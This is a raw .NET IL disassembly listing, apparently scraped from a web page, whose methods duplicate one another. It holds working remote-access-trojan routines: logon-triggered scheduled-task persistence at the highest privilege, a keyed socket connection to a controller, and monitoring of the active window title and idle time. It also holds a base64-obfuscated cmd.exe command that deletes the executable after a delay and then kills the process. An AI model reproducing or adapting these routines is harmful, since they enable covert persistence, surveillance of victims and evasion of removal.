000064e4<AddToStartupAdmin>d__19::MoveNext:
000064e4ldarg.0
000064e5ldfld <>1__state
000064eastloc.0
000064ebldloc.0
000064ecpop
000064ednop
000064eeldloc.0
000064efbrfalse IL_011d
000064f4ldstr "\r\n <Task xmlns='http://schemas.microsoft.com/windows/2004/02/mit/task'>\r\n <Triggers>\r\n <LogonTrigger>\r\n <Enabled>true</Enabled>\r\n </LogonTrigger>\r\n </Triggers>\r\n <Principals>\r\n <Principal id='Author'>\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n </Settings>\r\n <Actions>\r\n <Exec>\r\n <Command>"
000064f9ldarg.0
000064faldfld executablePath
000064ffldstr "</Command>\r\n </Exec>\r\n </Actions>\r\n </Task>"
00006504call Concat
00006509stloc.2
0000650aldarg.0
0000650bcall GetTempFileName
00006510stfld <tempXmlFile>5__2
00006515ldarg.0
00006516ldfld <tempXmlFile>5__2
0000651bldloc.2
0000651ccall WriteAllText
00006521ldarg.0
00006522newobj .ctor
00006527stfld <process>5__3
0000652cldarg.0
0000652dldfld <process>5__3
00006532callvirt get_StartInfo
00006537ldstr "schtasks.exe"
0000653ccallvirt set_FileName
00006541ldarg.0
00006542ldfld <process>5__3
00006547callvirt get_StartInfo
0000654cldc.i4.5
0000654dnewarr System.String
00006552dup
00006553ldc.i4.0
00006554ldstr "/Create /TN \""
00006559stelem.ref
0000655adup
0000655bldc.i4.1
0000655cldarg.0
0000655dldfld name
00006562stelem.ref
00006563dup
00006564ldc.i4.2
00006565ldstr "\" /XML \""
0000656astelem.ref
0000656bdup
0000656cldc.i4.3
0000656dldarg.0
0000656eldfld <tempXmlFile>5__2
00006573stelem.ref
00006574dup
00006575ldc.i4.4
00006576ldstr "\" /F"
0000657bstelem.ref
0000657ccall Concat
00006581callvirt set_Arguments
00006586ldarg.0
00006587ldfld <process>5__3
0000658ccallvirt get_StartInfo
00006591ldc.i4.0
00006592callvirt set_UseShellExecute
00006597ldarg.0
00006598ldfld <process>5__3
0000659dcallvirt get_StartInfo
000065a2ldc.i4.1
000065a3callvirt set_RedirectStandardOutput
000065a8ldarg.0
000065a9ldfld <process>5__3
000065aecallvirt get_StartInfo
000065b3ldc.i4.1
000065b4callvirt set_CreateNoWindow
000065b9ldarg.0
000065baldfld <process>5__3
000065bfcallvirt Start
000065c4pop
000065c5ldc.i4 3000
000065cacall Delay
000065cfcallvirt GetAwaiter
000065d4stloc.3
000065d5ldloca.s 3
000065d7call get_IsCompleted
000065dcbrtrue.s IL_0139
000065deldarg.0
000065dfldc.i4.0
000065e0dup
000065e1stloc.0
000065e2stfld <>1__state
000065e7ldarg.0
000065e8ldloc.3
000065e9stfld <>u__1
000065eeldarg.0
000065efldflda <>t__builder
000065f4ldloca.s 3
000065f6ldarg.0
000065f7call 0x2B000046
000065fcleave IL_01af
00006601ldarg.0
00006602ldfld <>u__1
00006607stloc.3
00006608ldarg.0
00006609ldflda <>u__1
0000660einitobj System.Runtime.CompilerServices.TaskAwaiter
00006614ldarg.0
00006615ldc.i4.m1
00006616dup
00006617stloc.0
00006618stfld <>1__state
0000661dldloca.s 3
0000661fcall GetResult
00006624ldarg.0
00006625ldfld <process>5__3
0000662acallvirt get_StandardOutput
0000662fcallvirt ReadToEnd
00006634ldarg.0
00006635ldfld <tempXmlFile>5__2
0000663acall Delete
0000663fldstr "SUCCESS"
00006644callvirt Contains
00006649brfalse.s IL_016b
0000664bldc.i4.1
0000664cstloc.1
0000664dleave.s IL_019b
0000664fldarg.0
00006650ldnull
00006651stfld <tempXmlFile>5__2
00006656ldarg.0
00006657ldnull
00006658stfld <process>5__3
0000665dleave.s IL_017e
0000665fpop
00006660leave.s IL_017e
00006662ldc.i4.0
00006663stloc.1
00006664leave.s IL_019b
00006666stloc.s 4
00006668ldarg.0
00006669ldc.i4.s -2
0000666bstfld <>1__state
00006670ldarg.0
00006671ldflda <>t__builder
00006676ldloc.s 4
00006678call SetException
0000667dleave.s IL_01af
0000667fldarg.0
00006680ldc.i4.s -2
00006682stfld <>1__state
00006687ldarg.0
00006688ldflda <>t__builder
0000668dldloc.1
0000668ecall SetResult
00006693ret
000064e4
000066d4
000066d4<AddToStartupNonAdmin>d__18::MoveNext:
000066d4ldarg.0
000066d5ldfld <>1__state
000066dastloc.0
000066dbldloc.0
000066dcbrfalse.s IL_0066
000066denewobj .ctor
000066e3dup
000066e4ldarg.0
000066e5ldfld name
000066eastfld name
000066efdup
000066f0ldarg.0
000066f1ldfld executablePath
000066f6stfld executablePath
000066fbldftn <AddToStartupNonAdmin>b__0
00006701newobj .ctor
00006706call 0x2B000047
0000670bcallvirt GetAwaiter
00006710stloc.2
00006711ldloca.s 2
00006713call get_IsCompleted
00006718brtrue.s IL_0082
0000671aldarg.0
0000671bldc.i4.0
0000671cdup
0000671dstloc.0
0000671estfld <>1__state
00006723ldarg.0
00006724ldloc.2
00006725stfld <>u__1
0000672aldarg.0
0000672bldflda <>t__builder
00006730ldloca.s 2
00006732ldarg.0
00006733call 0x2B000048
00006738leave.s IL_00b7
0000673aldarg.0
0000673bldfld <>u__1
00006740stloc.2
00006741ldarg.0
00006742ldflda <>u__1
00006747initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000674dldarg.0
0000674eldc.i4.m1
0000674fdup
00006750stloc.0
00006751stfld <>1__state
00006756ldloca.s 2
00006758call GetResult
0000675dstloc.1
0000675eleave.s IL_00a3
00006760stloc.3
00006761ldarg.0
00006762ldc.i4.s -2
00006764stfld <>1__state
00006769ldarg.0
0000676aldflda <>t__builder
0000676fldloc.3
00006770call SetException
00006775leave.s IL_00b7
00006777ldarg.0
00006778ldc.i4.s -2
0000677astfld <>1__state
0000677fldarg.0
00006780ldflda <>t__builder
00006785ldloc.1
00006786call SetResult
0000678bret
000066d4
000066d4<AddToStartupNonAdmin>d__18::MoveNext:
000066d4ldarg.0
000066d5ldfld <>1__state
000066dastloc.0
000066dbldloc.0
000066dcbrfalse.s IL_0066
000066denewobj .ctor
000066e3dup
000066e4ldarg.0
000066e5ldfld name
000066eastfld name
000066efdup
000066f0ldarg.0
000066f1ldfld executablePath
000066f6stfld executablePath
000066fbldftn <AddToStartupNonAdmin>b__0
00006701newobj .ctor
00006706call 0x2B000047
0000670bcallvirt GetAwaiter
00006710stloc.2
00006711ldloca.s 2
00006713call get_IsCompleted
00006718brtrue.s IL_0082
0000671aldarg.0
0000671bldc.i4.0
0000671cdup
0000671dstloc.0
0000671estfld <>1__state
00006723ldarg.0
00006724ldloc.2
00006725stfld <>u__1
0000672aldarg.0
0000672bldflda <>t__builder
00006730ldloca.s 2
00006732ldarg.0
00006733call 0x2B000048
00006738leave.s IL_00b7
0000673aldarg.0
0000673bldfld <>u__1
00006740stloc.2
00006741ldarg.0
00006742ldflda <>u__1
00006747initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000674dldarg.0
0000674eldc.i4.m1
0000674fdup
00006750stloc.0
00006751stfld <>1__state
00006756ldloca.s 2
00006758call GetResult
0000675dstloc.1
0000675eleave.s IL_00a3
00006760stloc.3
00006761ldarg.0
00006762ldc.i4.s -2
00006764stfld <>1__state
00006769ldarg.0
0000676aldflda <>t__builder
0000676fldloc.3
00006770call SetException
00006775leave.s IL_00b7
00006777ldarg.0
00006778ldc.i4.s -2
0000677astfld <>1__state
0000677fldarg.0
00006780ldflda <>t__builder
00006785ldloc.1
00006786call SetResult
0000678bret
000066d4
000067a8
000067a8<ConnectAndSetupAsync>d__15::MoveNext:
000067a8ldarg.0
000067a9ldfld <>1__state
000067aestloc.0
000067afldloc.0
000067b0pop
000067b1nop
000067b2ldloc.0
000067b3brfalse.s IL_0075
000067b5ldarg.0
000067b6ldarg.0
000067b7ldfld sock
000067bcldarg.0
000067bdldfld key
000067c2newobj .ctor
000067c7ldarg.0
000067c8ldfld OnDisconnect
000067cdnewobj .ctor
000067d2stfld <conn>5__2
000067d7ldarg.0
000067d8ldfld <conn>5__2
000067ddldarg.0
000067deldfld type
000067e3ldarg.0
000067e4ldfld ID
000067e9callvirt AuthenticateAsync
000067eecallvirt GetAwaiter
000067f3stloc.2
000067f4ldloca.s 2
000067f6call get_IsCompleted
000067fbbrtrue.s IL_0091
000067fdldarg.0
000067feldc.i4.0
000067ffdup
00006800stloc.0
00006801stfld <>1__state
00006806ldarg.0
00006807ldloc.2
00006808stfld <>u__1
0000680dldarg.0
0000680eldflda <>t__builder
00006813ldloca.s 2
00006815ldarg.0
00006816call 0x2B000049
0000681bleave.s IL_00e7
0000681dldarg.0
0000681eldfld <>u__1
00006823stloc.2
00006824ldarg.0
00006825ldflda <>u__1
0000682ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00006830ldarg.0
00006831ldc.i4.m1
00006832dup
00006833stloc.0
00006834stfld <>1__state
00006839ldloca.s 2
0000683bcall GetResult
00006840brtrue.s IL_009e
00006842ldnull
00006843stloc.1
00006844leave.s IL_00cc
00006846leave.s IL_00a5
00006848pop
00006849ldnull
0000684astloc.1
0000684bleave.s IL_00cc
0000684dldarg.0
0000684eldfld <conn>5__2
00006853stloc.1
00006854leave.s IL_00cc
00006856stloc.3
00006857ldarg.0
00006858ldc.i4.s -2
0000685astfld <>1__state
0000685fldarg.0
00006860ldnull
00006861stfld <conn>5__2
00006866ldarg.0
00006867ldflda <>t__builder
0000686cldloc.3
0000686dcall SetException
00006872leave.s IL_00e7
00006874ldarg.0
00006875ldc.i4.s -2
00006877stfld <>1__state
0000687cldarg.0
0000687dldnull
0000687estfld <conn>5__2
00006883ldarg.0
00006884ldflda <>t__builder
00006889ldloc.1
0000688acall SetResult
0000688fret
000067a8
000067a8<ConnectAndSetupAsync>d__15::MoveNext:
000067a8ldarg.0
000067a9ldfld <>1__state
000067aestloc.0
000067afldloc.0
000067b0pop
000067b1nop
000067b2ldloc.0
000067b3brfalse.s IL_0075
000067b5ldarg.0
000067b6ldarg.0
000067b7ldfld sock
000067bcldarg.0
000067bdldfld key
000067c2newobj .ctor
000067c7ldarg.0
000067c8ldfld OnDisconnect
000067cdnewobj .ctor
000067d2stfld <conn>5__2
000067d7ldarg.0
000067d8ldfld <conn>5__2
000067ddldarg.0
000067deldfld type
000067e3ldarg.0
000067e4ldfld ID
000067e9callvirt AuthenticateAsync
000067eecallvirt GetAwaiter
000067f3stloc.2
000067f4ldloca.s 2
000067f6call get_IsCompleted
000067fbbrtrue.s IL_0091
000067fdldarg.0
000067feldc.i4.0
000067ffdup
00006800stloc.0
00006801stfld <>1__state
00006806ldarg.0
00006807ldloc.2
00006808stfld <>u__1
0000680dldarg.0
0000680eldflda <>t__builder
00006813ldloca.s 2
00006815ldarg.0
00006816call 0x2B000049
0000681bleave.s IL_00e7
0000681dldarg.0
0000681eldfld <>u__1
00006823stloc.2
00006824ldarg.0
00006825ldflda <>u__1
0000682ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00006830ldarg.0
00006831ldc.i4.m1
00006832dup
00006833stloc.0
00006834stfld <>1__state
00006839ldloca.s 2
0000683bcall GetResult
00006840brtrue.s IL_009e
00006842ldnull
00006843stloc.1
00006844leave.s IL_00cc
00006846leave.s IL_00a5
00006848pop
00006849ldnull
0000684astloc.1
0000684bleave.s IL_00cc
0000684dldarg.0
0000684eldfld <conn>5__2
00006853stloc.1
00006854leave.s IL_00cc
00006856stloc.3
00006857ldarg.0
00006858ldc.i4.s -2
0000685astfld <>1__state
0000685fldarg.0
00006860ldnull
00006861stfld <conn>5__2
00006866ldarg.0
00006867ldflda <>t__builder
0000686cldloc.3
0000686dcall SetException
00006872leave.s IL_00e7
00006874ldarg.0
00006875ldc.i4.s -2
00006877stfld <>1__state
0000687cldarg.0
0000687dldnull
0000687estfld <conn>5__2
00006883ldarg.0
00006884ldflda <>t__builder
00006889ldloc.1
0000688acall SetResult
0000688fret
000067a8
000068b8
000068b8<GetCaptionOfActiveWindowAsync>d__8::MoveNext:
000068b8ldarg.0
000068b9ldfld <>1__state
000068bestloc.0
000068bfldloc.0
000068c0brfalse.s IL_005d
000068c2ldsfld <>9__8_0
000068c7dup
000068c8brtrue.s IL_0029
000068capop
000068cbldsfld <>9
000068d0ldftn <GetCaptionOfActiveWindowAsync>b__8_0
000068d6newobj .ctor
000068dbdup
000068dcstsfld <>9__8_0
000068e1call 0x2B00004A
000068e6callvirt GetAwaiter
000068ebstloc.2
000068ecldloca.s 2
000068eecall get_IsCompleted
000068f3brtrue.s IL_0079
000068f5ldarg.0
000068f6ldc.i4.0
000068f7dup
000068f8stloc.0
000068f9stfld <>1__state
000068feldarg.0
000068ffldloc.2
00006900stfld <>u__1
00006905ldarg.0
00006906ldflda <>t__builder
0000690bldloca.s 2
0000690dldarg.0
0000690ecall 0x2B00004B
00006913leave.s IL_00ae
00006915ldarg.0
00006916ldfld <>u__1
0000691bstloc.2
0000691cldarg.0
0000691dldflda <>u__1
00006922initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
00006928ldarg.0
00006929ldc.i4.m1
0000692adup
0000692bstloc.0
0000692cstfld <>1__state
00006931ldloca.s 2
00006933call GetResult
00006938stloc.1
00006939leave.s IL_009a
0000693bstloc.3
0000693cldarg.0
0000693dldc.i4.s -2
0000693fstfld <>1__state
00006944ldarg.0
00006945ldflda <>t__builder
0000694aldloc.3
0000694bcall SetException
00006950leave.s IL_00ae
00006952ldarg.0
00006953ldc.i4.s -2
00006955stfld <>1__state
0000695aldarg.0
0000695bldflda <>t__builder
00006960ldloc.1
00006961call SetResult
00006966ret
000068b8
000068b8<GetCaptionOfActiveWindowAsync>d__8::MoveNext:
000068b8ldarg.0
000068b9ldfld <>1__state
000068bestloc.0
000068bfldloc.0
000068c0brfalse.s IL_005d
000068c2ldsfld <>9__8_0
000068c7dup
000068c8brtrue.s IL_0029
000068capop
000068cbldsfld <>9
000068d0ldftn <GetCaptionOfActiveWindowAsync>b__8_0
000068d6newobj .ctor
000068dbdup
000068dcstsfld <>9__8_0
000068e1call 0x2B00004A
000068e6callvirt GetAwaiter
000068ebstloc.2
000068ecldloca.s 2
000068eecall get_IsCompleted
000068f3brtrue.s IL_0079
000068f5ldarg.0
000068f6ldc.i4.0
000068f7dup
000068f8stloc.0
000068f9stfld <>1__state
000068feldarg.0
000068ffldloc.2
00006900stfld <>u__1
00006905ldarg.0
00006906ldflda <>t__builder
0000690bldloca.s 2
0000690dldarg.0
0000690ecall 0x2B00004B
00006913leave.s IL_00ae
00006915ldarg.0
00006916ldfld <>u__1
0000691bstloc.2
0000691cldarg.0
0000691dldflda <>u__1
00006922initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
00006928ldarg.0
00006929ldc.i4.m1
0000692adup
0000692bstloc.0
0000692cstfld <>1__state
00006931ldloca.s 2
00006933call GetResult
00006938stloc.1
00006939leave.s IL_009a
0000693bstloc.3
0000693cldarg.0
0000693dldc.i4.s -2
0000693fstfld <>1__state
00006944ldarg.0
00006945ldflda <>t__builder
0000694aldloc.3
0000694bcall SetException
00006950leave.s IL_00ae
00006952ldarg.0
00006953ldc.i4.s -2
00006955stfld <>1__state
0000695aldarg.0
0000695bldflda <>t__builder
00006960ldloc.1
00006961call SetResult
00006966ret
000068b8
00006984
00006984<GetIdleTimeAsync>d__20::MoveNext:
00006984ldarg.0
00006985ldfld <>1__state
0000698astloc.0
0000698bldloc.0
0000698cbrfalse.s IL_005d
0000698eldsfld <>9__20_0
00006993dup
00006994brtrue.s IL_0029
00006996pop
00006997ldsfld <>9
0000699cldftn <GetIdleTimeAsync>b__20_0
000069a2newobj .ctor
000069a7dup
000069a8stsfld <>9__20_0
000069adcall 0x2B00004C
000069b2callvirt GetAwaiter
000069b7stloc.2
000069b8ldloca.s 2
000069bacall get_IsCompleted
000069bfbrtrue.s IL_0079
000069c1ldarg.0
000069c2ldc.i4.0
000069c3dup
000069c4stloc.0
000069c5stfld <>1__state
000069caldarg.0
000069cbldloc.2
000069ccstfld <>u__1
000069d1ldarg.0
000069d2ldflda <>t__builder
000069d7ldloca.s 2
000069d9ldarg.0
000069dacall 0x2B00004D
000069dfleave.s IL_00ae
000069e1ldarg.0
000069e2ldfld <>u__1
000069e7stloc.2
000069e8ldarg.0
000069e9ldflda <>u__1
000069eeinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
000069f4ldarg.0
000069f5ldc.i4.m1
000069f6dup
000069f7stloc.0
000069f8stfld <>1__state
000069fdldloca.s 2
000069ffcall GetResult
00006a04stloc.1
00006a05leave.s IL_009a
00006a07stloc.3
00006a08ldarg.0
00006a09ldc.i4.s -2
00006a0bstfld <>1__state
00006a10ldarg.0
00006a11ldflda <>t__builder
00006a16ldloc.3
00006a17call SetException
00006a1cleave.s IL_00ae
00006a1eldarg.0
00006a1fldc.i4.s -2
00006a21stfld <>1__state
00006a26ldarg.0
00006a27ldflda <>t__builder
00006a2cldloc.1
00006a2dcall SetResult
00006a32ret
00006984
00006984<GetIdleTimeAsync>d__20::MoveNext:
00006984ldarg.0
00006985ldfld <>1__state
0000698astloc.0
0000698bldloc.0
0000698cbrfalse.s IL_005d
0000698eldsfld <>9__20_0
00006993dup
00006994brtrue.s IL_0029
00006996pop
00006997ldsfld <>9
0000699cldftn <GetIdleTimeAsync>b__20_0
000069a2newobj .ctor
000069a7dup
000069a8stsfld <>9__20_0
000069adcall 0x2B00004C
000069b2callvirt GetAwaiter
000069b7stloc.2
000069b8ldloca.s 2
000069bacall get_IsCompleted
000069bfbrtrue.s IL_0079
000069c1ldarg.0
000069c2ldc.i4.0
000069c3dup
000069c4stloc.0
000069c5stfld <>1__state
000069caldarg.0
000069cbldloc.2
000069ccstfld <>u__1
000069d1ldarg.0
000069d2ldflda <>t__builder
000069d7ldloca.s 2
000069d9ldarg.0
000069dacall 0x2B00004D
000069dfleave.s IL_00ae
000069e1ldarg.0
000069e2ldfld <>u__1
000069e7stloc.2
000069e8ldarg.0
000069e9ldflda <>u__1
000069eeinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
000069f4ldarg.0
000069f5ldc.i4.m1
000069f6dup
000069f7stloc.0
000069f8stfld <>1__state
000069fdldloca.s 2
000069ffcall GetResult
00006a04stloc.1
00006a05leave.s IL_009a
00006a07stloc.3
00006a08ldarg.0
00006a09ldc.i4.s -2
00006a0bstfld <>1__state
00006a10ldarg.0
00006a11ldflda <>t__builder
00006a16ldloc.3
00006a17call SetException
00006a1cleave.s IL_00ae
00006a1eldarg.0
00006a1fldc.i4.s -2
00006a21stfld <>1__state
00006a26ldarg.0
00006a27ldflda <>t__builder
00006a2cldloc.1
00006a2dcall SetResult
00006a32ret
00006984
00006a50
00006a50<RemoveStartup>d__16::MoveNext:
00006a50ldarg.0
00006a51ldfld <>1__state
00006a56stloc.0
00006a57ldloc.0
00006a58brfalse.s IL_005a
00006a5anewobj .ctor
00006a5fdup
00006a60ldarg.0
00006a61ldfld executablePath
00006a66stfld executablePath
00006a6bldftn <RemoveStartup>b__0
00006a71newobj .ctor
00006a76call Run
00006a7bcallvirt GetAwaiter
00006a80stloc.1
00006a81ldloca.s 1
00006a83call get_IsCompleted
00006a88brtrue.s IL_0076
00006a8aldarg.0
00006a8bldc.i4.0
00006a8cdup
00006a8dstloc.0
00006a8estfld <>1__state
00006a93ldarg.0
00006a94ldloc.1
00006a95stfld <>u__1
00006a9aldarg.0
00006a9bldflda <>t__builder
00006aa0ldloca.s 1
00006aa2ldarg.0
00006aa3call 0x2B00004E
00006aa8leave.s IL_00a9
00006aaaldarg.0
00006aabldfld <>u__1
00006ab0stloc.1
00006ab1ldarg.0
00006ab2ldflda <>u__1
00006ab7initobj System.Runtime.CompilerServices.TaskAwaiter
00006abdldarg.0
00006abeldc.i4.m1
00006abfdup
00006ac0stloc.0
00006ac1stfld <>1__state
00006ac6ldloca.s 1
00006ac8call GetResult
00006acdleave.s IL_0096
00006acfstloc.2
00006ad0ldarg.0
00006ad1ldc.i4.s -2
00006ad3stfld <>1__state
00006ad8ldarg.0
00006ad9ldflda <>t__builder
00006adeldloc.2
00006adfcall SetException
00006ae4leave.s IL_00a9
00006ae6ldarg.0
00006ae7ldc.i4.s -2
00006ae9stfld <>1__state
00006aeeldarg.0
00006aefldflda <>t__builder
00006af4call SetResult
00006af9ret
00006a50
00006a50<RemoveStartup>d__16::MoveNext:
00006a50ldarg.0
00006a51ldfld <>1__state
00006a56stloc.0
00006a57ldloc.0
00006a58brfalse.s IL_005a
00006a5anewobj .ctor
00006a5fdup
00006a60ldarg.0
00006a61ldfld executablePath
00006a66stfld executablePath
00006a6bldftn <RemoveStartup>b__0
00006a71newobj .ctor
00006a76call Run
00006a7bcallvirt GetAwaiter
00006a80stloc.1
00006a81ldloca.s 1
00006a83call get_IsCompleted
00006a88brtrue.s IL_0076
00006a8aldarg.0
00006a8bldc.i4.0
00006a8cdup
00006a8dstloc.0
00006a8estfld <>1__state
00006a93ldarg.0
00006a94ldloc.1
00006a95stfld <>u__1
00006a9aldarg.0
00006a9bldflda <>t__builder
00006aa0ldloca.s 1
00006aa2ldarg.0
00006aa3call 0x2B00004E
00006aa8leave.s IL_00a9
00006aaaldarg.0
00006aabldfld <>u__1
00006ab0stloc.1
00006ab1ldarg.0
00006ab2ldflda <>u__1
00006ab7initobj System.Runtime.CompilerServices.TaskAwaiter
00006abdldarg.0
00006abeldc.i4.m1
00006abfdup
00006ac0stloc.0
00006ac1stfld <>1__state
00006ac6ldloca.s 1
00006ac8call GetResult
00006acdleave.s IL_0096
00006acfstloc.2
00006ad0ldarg.0
00006ad1ldc.i4.s -2
00006ad3stfld <>1__state
00006ad8ldarg.0
00006ad9ldflda <>t__builder
00006adeldloc.2
00006adfcall SetException
00006ae4leave.s IL_00a9
00006ae6ldarg.0
00006ae7ldc.i4.s -2
00006ae9stfld <>1__state
00006aeeldarg.0
00006aefldflda <>t__builder
00006af4call SetResult
00006af9ret
00006a50
00006b18
00006b18<Uninstall>d__17::MoveNext:
00006b18ldarg.0
00006b19ldfld <>1__state
00006b1estloc.0
00006b1fldloc.0
00006b20brfalse.s IL_004b
00006b22call GetEntryAssembly
00006b27callvirt get_Location
00006b2ccall RemoveStartup
00006b31callvirt GetAwaiter
00006b36stloc.1
00006b37ldloca.s 1
00006b39call get_IsCompleted
00006b3ebrtrue.s IL_0067
00006b40ldarg.0
00006b41ldc.i4.0
00006b42dup
00006b43stloc.0
00006b44stfld <>1__state
00006b49ldarg.0
00006b4aldloc.1
00006b4bstfld <>u__1
00006b50ldarg.0
00006b51ldflda <>t__builder
00006b56ldloca.s 1
00006b58ldarg.0
00006b59call 0x2B00004F
00006b5eleave IL_00f6
00006b63ldarg.0
00006b64ldfld <>u__1
00006b69stloc.1
00006b6aldarg.0
00006b6bldflda <>u__1
00006b70initobj System.Runtime.CompilerServices.TaskAwaiter
00006b76ldarg.0
00006b77ldc.i4.m1
00006b78dup
00006b79stloc.0
00006b7astfld <>1__state
00006b7fldloca.s 1
00006b81call GetResult
00006b86newobj .ctor
00006b8bdup
00006b8ccall get_UTF8
00006b91ldstr "L0MgY2hvaWNlIC9DIFkgL04gL0QgWSAvVCAzICYgRGVsICI="
00006b96call FromBase64String
00006b9bcallvirt GetString
00006ba0call GetEntryAssembly
00006ba5callvirt get_Location
00006baaldstr "\""
00006bafcall Concat
00006bb4callvirt set_Arguments
00006bb9dup
00006bbaldc.i4.1
00006bbbcallvirt set_WindowStyle
00006bc0dup
00006bc1ldc.i4.1
00006bc2callvirt set_CreateNoWindow
00006bc7dup
00006bc8ldstr "cmd.exe"
00006bcdcallvirt set_FileName
00006bd2call Start
00006bd7pop
00006bd8call GetCurrentProcess
00006bddcallvirt Kill
00006be2leave.s IL_00e3
00006be4stloc.2
00006be5ldarg.0
00006be6ldc.i4.s -2
00006be8stfld <>1__state
00006bedldarg.0
00006beeldflda <>t__builder
00006bf3ldloc.2
00006bf4call SetException
00006bf9leave.s IL_00f6
00006bfbldarg.0
00006bfcldc.i4.s -2
00006bfestfld <>1__state
00006c03ldarg.0
00006c04ldflda <>t__builder
00006c09call SetResult
00006c0eret
00006b18
00006b18<Uninstall>d__17::MoveNext:
00006b18ldarg.0
00006b19ldfld <>1__state
00006b1estloc.0
00006b1fldloc.0
00006b20brfalse.s IL_004b
00006b22call GetEntryAssembly
00006b27callvirt get_Location
00006b2ccall RemoveStartup
00006b31callvirt GetAwaiter
00006b36stloc.1
00006b37ldloca.s 1
00006b39call get_IsCompleted
00006b3ebrtrue.s IL_0067
00006b40ldarg.0
00006b41ldc.i4.0
00006b42dup
00006b43stloc.0
00006b44stfld <>1__state
00006b49ldarg.0
00006b4aldloc.1
00006b4bstfld <>u__1
00006b50ldarg.0
00006b51ldflda <>t__builder
00006b56ldloca.s 1
00006b58ldarg.0
00006b59call 0x2B00004F
00006b5eleave IL_00f6
00006b63ldarg.0
00006b64ldfld <>u__1
00006b69stloc.1
00006b6aldarg.0
00006b6bldflda <>u__1
00006b70initobj System.Runtime.CompilerServices.TaskAwaiter
00006b76ldarg.0
00006b77ldc.i4.m1
00006b78dup
00006b79stloc.0
00006b7astfld <>1__state
00006b7fldloca.s 1
00006b81call GetResult
00006b86newobj .ctor
00006b8bdup
00006b8ccall get_UTF8
00006b91ldstr "L0MgY2hvaWNlIC9DIFkgL04gL0QgWSAvVCAzICYgRGVsICI="
00006b96call FromBase64String
00006b9bcallvirt GetString
00006ba0call GetEntryAssembly
00006ba5callvirt get_Location
00006baaldstr "\""
00006bafcall Concat
00006bb4callvirt set_Arguments
00006bb9dup
00006bbaldc.i4.1
00006bbbcallvirt set_WindowStyle
00006bc0dup
00006bc1ldc.i4.1
00006bc2callvirt set_CreateNoWindow
00006bc7dup
00006bc8ldstr "cmd.exe"
00006bcdcallvirt set_FileName
00006bd2call Start
00006bd7pop
00006bd8call GetCurrentProcess
00006bddcallvirt Kill
00006be2leave.s IL_00e3
00006be4stloc.2
00006be5ldarg.0
00006be6ldc.i4.s -2
00006be8stfld <>1__state
00006bedldarg.0
00006beeldflda <>t__builder
00006bf3ldloc.2
00006bf4call SetException
00006bf9leave.s IL_00f6
00006bfbldarg.0
00006bfcldc.i4.s -2
00006bfestfld <>1__state
00006c03ldarg.0
00006c04ldflda <>t__builder
00006c09call SetResult
00006c0eret
00006b18
Loading..